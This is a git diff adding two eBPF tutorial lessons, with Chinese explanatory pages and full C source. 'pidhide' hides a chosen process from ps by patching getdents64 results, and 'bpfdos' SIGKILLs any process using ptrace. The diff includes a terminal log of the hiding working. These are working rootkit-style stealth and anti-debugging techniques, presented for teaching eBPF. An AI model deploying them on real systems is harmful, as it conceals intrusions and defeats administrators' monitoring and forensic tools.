    +yunwei      1534  0.0  0.0 244540  6848 ?        Ssl  6月02   0:00 /usr/libexec/gvfs-mtp-volume-monitor
    +yunwei     32065  0.0  0.0  17712  2580 pts/1    S+   05:43   0:00 grep --color=auto 1534
    +
    +

    此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是,如果我们运行 sudo ./pidhide --pid-to-hide 1534,再次运行 ps -aux | grep 1534,就会发现进程 ID 为 1534 的进程已经不见了。

    +
    $ sudo ./pidhide --pid-to-hide 1534
    +Hiding PID 1534
    +Hid PID from program 31529 (ps)
    +Hid PID from program 31551 (ps)
    +Hid PID from program 31560 (ps)
    +Hid PID from program 31582 (ps)
    +Hid PID from program 31582 (ps)
    +Hid PID from program 31585 (bash)
    +Hid PID from program 31585 (bash)
    +Hid PID from program 31609 (bash)
    +Hid PID from program 31640 (ps)
    +Hid PID from program 31649 (ps)
    +
    +

    这个程序将匹配这个 pid 的进程隐藏,使得像 ps 这样的工具无法看到,我们可以通过 ps aux | grep 1534 来验证。

    +
    $ ps -aux | grep 1534
    +root       31523  0.1  0.0  22004  5616 pts/2    S+   05:42   0:00 sudo ./pidhide -p 1534
    +root       31524  0.0  0.0  22004   812 pts/3    Ss   05:42   0:00 sudo ./pidhide -p 1534
    +root       31525  0.3  0.0   3808  2456 pts/3    S+   05:42   0:00 ./pidhide -p 1534
    +yunwei     31583  0.0  0.0  17712  2612 pts/1    S+   05:42   0:00 grep --color=auto 1534
    +
    +

    总结

    +

    通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。

    +

    您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

    +

    接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容,包括如何使用 eBPF 进行网络和系统性能分析,如何编写更复杂的 eBPF 程序以及如何将 eBPF 集成到您的应用中。希望你会在我们的教程中找到有用的信息,进一步提升你的 eBPF 开发技能。

    + +
    + + +
    +
    + + + +
    + + + + + + + + + + + + + + + + + + +
    + + diff --git a/24-hide/pidhide.bpf.c b/24-hide/pidhide.bpf.c new file mode 100644 index 0000000..47f8895 --- /dev/null +++ b/24-hide/pidhide.bpf.c @@ -0,0 +1,208 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "common.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// Ringbuffer Map to pass messages from kernel to user +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// Map to fold the dents buffer addresses +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_buffs SEC(".maps"); + +// Map used to enable searching through the +// data in a loop +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, int); +} map_bytes_read SEC(".maps"); + +// Map with address of actual +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_to_patch SEC(".maps"); + +// Map to hold program tail calls +struct { + __uint(type, BPF_MAP_TYPE_PROG_ARRAY); + __uint(max_entries, 5); + __type(key, __u32); + __type(value, __u32); +} map_prog_array SEC(".maps"); + +// Optional Target Parent PID +const volatile int target_ppid = 0; + +// These store the string represenation +// of the PID to hide. This becomes the name +// of the folder in /proc/ +const volatile int pid_to_hide_len = 0; +const volatile char pid_to_hide[max_pid_len]; + +// struct linux_dirent64 { +// u64 d_ino; /* 64-bit inode number */ +// u64 d_off; /* 64-bit offset to next structure */ +// unsigned short d_reclen; /* Size of this dirent */ +// unsigned char d_type; /* File type */ +// char d_name[]; /* Filename (null-terminated) */ }; +// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); +SEC("tp/syscalls/sys_enter_getdents64") +int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + // Check if we're a process thread of interest + // if target_ppid is 0 then we target all pids + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + int pid = pid_tgid >> 32; + unsigned int fd = ctx->args[0]; + unsigned int buff_count = ctx->args[2]; + + // Store params in map for exit function + struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; + bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); + + return 0; +} + +SEC("tp/syscalls/sys_exit_getdents64") +int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + int total_bytes_read = ctx->ret; + // if bytes_read is 0, everything's been read + if (total_bytes_read <= 0) { + return 0; + } + + // Check we stored the address of the buffer from the syscall entry + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + + // All of this is quite complex, but basically boils down to + // Calling 'handle_getdents_exit' in a loop to iterate over the file listing + // in chunks of 200, and seeing if a folder with the name of our pid is in there. + // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual + // patching + long unsigned int buff_addr = *pbuff_addr; + struct linux_dirent64 *dirp = 0; + int pid = pid_tgid >> 32; + short unsigned int d_reclen = 0; + char filename[max_pid_len]; + + unsigned int bpos = 0; + unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); + if (pBPOS != 0) { + bpos = *pBPOS; + } + + for (int i = 0; i < 200; i ++) { + if (bpos >= total_bytes_read) { + break; + } + dirp = (struct linux_dirent64 *)(buff_addr+bpos); + bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); + bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); + + int j = 0; + for (j = 0; j < pid_to_hide_len; j++) { + if (filename[j] != pid_to_hide[j]) { + break; + } + } + if (j == pid_to_hide_len) { + // *********** + // We've found the folder!!! + // Jump to handle_getdents_patch so we can remove it! + // *********** + bpf_map_delete_elem(&map_bytes_read, &pid_tgid); + bpf_map_delete_elem(&map_buffs, &pid_tgid); + bpf_tail_call(ctx, &map_prog_array, PROG_02); + } + bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); + bpos += d_reclen; + } + + // If we didn't find it, but there's still more to read, + // jump back the start of this function and keep looking + if (bpos < total_bytes_read) { + bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); + bpf_tail_call(ctx, &map_prog_array, PROG_01); + } + bpf_map_delete_elem(&map_bytes_read, &pid_tgid); + bpf_map_delete_elem(&map_buffs, &pid_tgid); + + return 0; +} + +SEC("tp/syscalls/sys_exit_getdents64") +int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) +{ + // Only patch if we've already checked and found our pid's folder to hide + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + + // Unlink target, by reading in previous linux_dirent64 struct, + // and setting it's d_reclen to cover itself and our target. + // This will make the program skip over our folder. + long unsigned int buff_addr = *pbuff_addr; + struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; + short unsigned int d_reclen_previous = 0; + bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); + + struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); + short unsigned int d_reclen = 0; + bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); + + // Debug print + char filename[max_pid_len]; + bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); + filename[pid_to_hide_len-1] = 0x00; + bpf_printk("[PID_HIDE] filename previous %s\n", filename); + bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); + filename[pid_to_hide_len-1] = 0x00; + bpf_printk("[PID_HIDE] filename next one %s\n", filename); + + // Attempt to overwrite + short unsigned int d_reclen_new = d_reclen_previous + d_reclen; + long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); + + // Send an event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = (pid_tgid >> 32); + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + + bpf_map_delete_elem(&map_to_patch, &pid_tgid); + return 0; +} diff --git a/24-hide/pidhide.c b/24-hide/pidhide.c new file mode 100644 index 0000000..021d51b --- /dev/null +++ b/24-hide/pidhide.c @@ -0,0 +1,252 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "pidhide.skel.h" +#include "common.h" + +// These are used by a number of +// different programs to sync eBPF Tail Call +// login between user space and kernel +#define PROG_00 0 +#define PROG_01 1 +#define PROG_02 2 + +// Setup Argument stuff +static struct env +{ + int pid_to_hide; + int target_ppid; +} env; + +const char *argp_program_version = "pidhide 1.0"; +const char *argp_program_bug_address = ""; +const char argp_program_doc[] = + "PID Hider\n" + "\n" + "Uses eBPF to hide a process from usermode processes\n" + "By hooking the getdents64 syscall and unlinking the pid folder\n" + "\n" + "USAGE: ./pidhide -p 2222 [-t 1111]\n"; + +static const struct argp_option opts[] = { + {"pid-to-hide", 'p', "PID-TO-HIDE", 0, "Process ID to hide. Defaults to this program"}, + {"target-ppid", 't', "TARGET-PPID", 0, "Optional Parent PID, will only affect its children."}, + {}, +}; +static error_t parse_arg(int key, char *arg, struct argp_state *state) +{ + switch (key) + { + case 'p': + errno = 0; + env.pid_to_hide = strtol(arg, NULL, 10); + if (errno || env.pid_to_hide <= 0) + { + fprintf(stderr, "Invalid pid: %s\n", arg); + argp_usage(state); + } + break; + case 't': + errno = 0; + env.target_ppid = strtol(arg, NULL, 10); + if (errno || env.target_ppid <= 0) + { + fprintf(stderr, "Invalid pid: %s\n", arg); + argp_usage(state); + } + break; + case ARGP_KEY_ARG: + argp_usage(state); + break; + default: + return ARGP_ERR_UNKNOWN; + } + return 0; +} +static const struct argp argp = { + .options = opts, + .parser = parse_arg, + .doc = argp_program_doc, +}; + +static volatile sig_atomic_t exiting; + +void sig_int(int signo) +{ + exiting = 1; +} + +static bool setup_sig_handler() +{ + // Add handlers for SIGINT and SIGTERM so we shutdown cleanly + __sighandler_t sighandler = signal(SIGINT, sig_int); + if (sighandler == SIG_ERR) + { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + sighandler = signal(SIGTERM, sig_int); + if (sighandler == SIG_ERR) + { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + return true; +} + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +static bool setup() +{ + // Set up libbpf errors and debug info callback + libbpf_set_print(libbpf_print_fn); + + // Setup signal handler so we exit cleanly + if (!setup_sig_handler()) + { + return false; + } + + return true; +} + +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + const struct event *e = data; + if (e->success) + printf("Hid PID from program %d (%s)\n", e->pid, e->comm); + else + printf("Failed to hide PID from program %d (%s)\n", e->pid, e->comm); + return 0; +} + +int main(int argc, char **argv) +{ + struct ring_buffer *rb = NULL; + struct pidhide_bpf *skel; + int err; + + // Parse command line arguments + err = argp_parse(&argp, argc, argv, 0, NULL, NULL); + if (err) + { + return err; + } + if (env.pid_to_hide == 0) + { + printf("Pid Requried, see %s --help\n", argv[0]); + exit(1); + } + + // Do common setup + if (!setup()) + { + exit(1); + } + + // Open BPF application + skel = pidhide_bpf__open(); + if (!skel) + { + fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno)); + return 1; + } + + // Set the Pid to hide, defaulting to our own PID + char pid_to_hide[10]; + if (env.pid_to_hide == 0) + { + env.pid_to_hide = getpid(); + } + sprintf(pid_to_hide, "%d", env.pid_to_hide); + strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); + skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; + skel->rodata->target_ppid = env.target_ppid; + + // Verify and load program + err = pidhide_bpf__load(skel); + if (err) + { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + // Setup Maps for tail calls + int index = PROG_01; + int prog_fd = bpf_program__fd(skel->progs.handle_getdents_exit); + int ret = bpf_map_update_elem( + bpf_map__fd(skel->maps.map_prog_array), + &index, + &prog_fd, + BPF_ANY); + if (ret == -1) + { + printf("Failed to add program to prog array! %s\n", strerror(errno)); + goto cleanup; + } + index = PROG_02; + prog_fd = bpf_program__fd(skel->progs.handle_getdents_patch); + ret = bpf_map_update_elem( + bpf_map__fd(skel->maps.map_prog_array), + &index, + &prog_fd, + BPF_ANY); + if (ret == -1) + { + printf("Failed to add program to prog array! %s\n", strerror(errno)); + goto cleanup; + } + + // Attach tracepoint handler + err = pidhide_bpf__attach(skel); + if (err) + { + fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno)); + goto cleanup; + } + + // Set up ring buffer + rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); + if (!rb) + { + err = -1; + fprintf(stderr, "Failed to create ring buffer\n"); + goto cleanup; + } + + printf("Successfully started!\n"); + printf("Hiding PID %d\n", env.pid_to_hide); + while (!exiting) + { + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + /* Ctrl-C will cause -EINTR */ + if (err == -EINTR) + { + err = 0; + break; + } + if (err < 0) + { + printf("Error polling perf buffer: %d\n", err); + break; + } + } + +cleanup: + pidhide_bpf__destroy(skel); + return -err; +} diff --git a/25-signal/.gitignore b/25-signal/.gitignore new file mode 100644 index 0000000..e8a99c2 --- /dev/null +++ b/25-signal/.gitignore @@ -0,0 +1,9 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +bootstrap +bpfdos diff --git a/25-signal/LICENSE b/25-signal/LICENSE new file mode 100644 index 0000000..47fc3a4 --- /dev/null +++ b/25-signal/LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2020, Andrii Nakryiko +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/25-signal/Makefile b/25-signal/Makefile new file mode 100644 index 0000000..338993f --- /dev/null +++ b/25-signal/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../libbpf/src) +BPFTOOL_SRC := $(abspath ../../bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../../blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = bpfdos # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/25-signal/bpfdos.bpf.c b/25-signal/bpfdos.bpf.c new file mode 100644 index 0000000..4c83a41 --- /dev/null +++ b/25-signal/bpfdos.bpf.c @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "common.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// Ringbuffer Map to pass messages from kernel to user +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// Optional Target Parent PID +const volatile int target_ppid = 0; + +SEC("tp/syscalls/sys_enter_ptrace") +int bpf_dos(struct trace_event_raw_sys_enter *ctx) +{ + long ret = 0; + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + + // if target_ppid is 0 then we target all pids + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + + // Send signal. 9 == SIGKILL + ret = bpf_send_signal(9); + + // Log event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = pid; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + + return 0; +} diff --git a/25-signal/bpfdos.c b/25-signal/bpfdos.c new file mode 100644 index 0000000..062a1c9 --- /dev/null +++ b/25-signal/bpfdos.c @@ -0,0 +1,129 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include +#include +#include "bpfdos.skel.h" +#include "common_um.h" +#include "common.h" + +// Setup Argument stuff +static struct env { + int target_ppid; +} env; + +const char *argp_program_version = "bpfdos 1.0"; +const char *argp_program_bug_address = ""; +const char argp_program_doc[] = +"BPF DOS\n" +"\n" +"Sends a SIGKILL to any program attempting to use\n" +"the ptrace syscall (e.g. strace)\n" +"\n" +"USAGE: ./bpfdos [-t 1111]\n"; + +static const struct argp_option opts[] = { + { "target-ppid", 't', "PPID", 0, "Optional Parent PID, will only affect its children." }, + {}, +}; +static error_t parse_arg(int key, char *arg, struct argp_state *state) +{ + switch (key) { + case 't': + errno = 0; + env.target_ppid = strtol(arg, NULL, 10); + if (errno || env.target_ppid <= 0) { + fprintf(stderr, "Invalid pid: %s\n", arg); + argp_usage(state); + } + break; + case ARGP_KEY_ARG: + argp_usage(state); + break; + default: + return ARGP_ERR_UNKNOWN; + } + return 0; +} +static const struct argp argp = { + .options = opts, + .parser = parse_arg, + .doc = argp_program_doc, +}; + +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + const struct event *e = data; + if (e->success) + printf("Killed PID %d (%s) for trying to use ptrace syscall\n", e->pid, e->comm); + else + printf("Failed to kill PID %d (%s) for trying to use ptrace syscall\n", e->pid, e->comm); + return 0; +} + +int main(int argc, char **argv) +{ + struct ring_buffer *rb = NULL; + struct bpfdos_bpf *skel; + int err; + + // Parse command line arguments + err = argp_parse(&argp, argc, argv, 0, NULL, NULL); + if (err) { + return err; + } + + // Do common setup + if (!setup()) { + exit(1); + } + + // Open BPF application + skel = bpfdos_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno)); + return 1; + } + + // Set target ppid + skel->rodata->target_ppid = env.target_ppid; + + // Verify and load program + err = bpfdos_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + // Attach tracepoint handler + err = bpfdos_bpf__attach( skel); + if (err) { + fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno)); + goto cleanup; + } + + // Set up ring buffer + rb = ring_buffer__new(bpf_map__fd( skel->maps.rb), handle_event, NULL, NULL); + if (!rb) { + err = -1; + fprintf(stderr, "Failed to create ring buffer\n"); + goto cleanup; + } + + printf("Successfully started!\n"); + printf("Sending SIGKILL to any program using the bpf syscall\n"); + while (!exiting) { + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + /* Ctrl-C will cause -EINTR */ + if (err == -EINTR) { + err = 0; + break; + } + if (err < 0) { + printf("Error polling perf buffer: %d\n", err); + break; + } + } + +cleanup: + bpfdos_bpf__destroy( skel); + return -err; +} diff --git a/25-signal/common.h b/25-signal/common.h new file mode 100644 index 0000000..ac4be7f --- /dev/null +++ b/25-signal/common.h @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: BSD-3-Clause +#ifndef BAD_BPF_COMMON_H +#define BAD_BPF_COMMON_H + +// Simple message structure to get events from eBPF Programs +// in the kernel to user spcae +#define TASK_COMM_LEN 16 +struct event { + int pid; + char comm[TASK_COMM_LEN]; + bool success; +}; + +#endif // BAD_BPF_COMMON_H diff --git a/25-signal/common_um.h b/25-signal/common_um.h new file mode 100644 index 0000000..06267aa --- /dev/null +++ b/25-signal/common_um.h @@ -0,0 +1,96 @@ +// SPDX-License-Identifier: BSD-3-Clause +#ifndef BAD_BPF_COMMON_UM_H +#define BAD_BPF_COMMON_UM_H + +#include +#include +#include +#include +#include +#include +#include + +static volatile sig_atomic_t exiting; + +void sig_int(int signo) +{ + exiting = 1; +} + +static bool setup_sig_handler() { + // Add handlers for SIGINT and SIGTERM so we shutdown cleanly + __sighandler_t sighandler = signal(SIGINT, sig_int); + if (sighandler == SIG_ERR) { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + sighandler = signal(SIGTERM, sig_int); + if (sighandler == SIG_ERR) { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + return true; +} + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +static bool bump_memlock_rlimit(void) +{ + struct rlimit rlim_new = { + .rlim_cur = RLIM_INFINITY, + .rlim_max = RLIM_INFINITY, + }; + + if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) { + fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit! (hint: run as root)\n"); + return false; + } + return true; +} + + +static bool setup() { + // Set up libbpf errors and debug info callback + libbpf_set_print(libbpf_print_fn); + + // Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything + if (!bump_memlock_rlimit()) { + return false; + }; + + // Setup signal handler so we exit cleanly + if (!setup_sig_handler()) { + return false; + } + + return true; +} + + +#ifdef BAD_BPF_USE_TRACE_PIPE +static void read_trace_pipe(void) { + int trace_fd; + + trace_fd = open("/sys/kernel/debug/tracing/trace_pipe", O_RDONLY, 0); + if (trace_fd == -1) { + printf("Error opening trace_pipe: %s\n", strerror(errno)); + return; + } + + while (!exiting) { + static char buf[4096]; + ssize_t sz; + + sz = read(trace_fd, buf, sizeof(buf) -1); + if (sz > 0) { + buf[sz] = '\x00'; + puts(buf); + } + } +} +#endif // BAD_BPF_USE_TRACE_PIPE + +#endif // BAD_BPF_COMMON_UM_H \ No newline at end of file diff --git a/25-signal/index.html b/25-signal/index.html new file mode 100644 index 0000000..13c4a55 --- /dev/null +++ b/25-signal/index.html @@ -0,0 +1,213 @@ + + + + + + 使用 bpf_send_signal 发送信号终止进程 - bpf-developer-tutorial + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + +
    +
    +

    用 bpf_send_signal 发送信号终止恶意进程

    +

    编译:

    +
    make
    +
    +

    使用方式:

    +
    sudo ./bpfdos
    +
    +

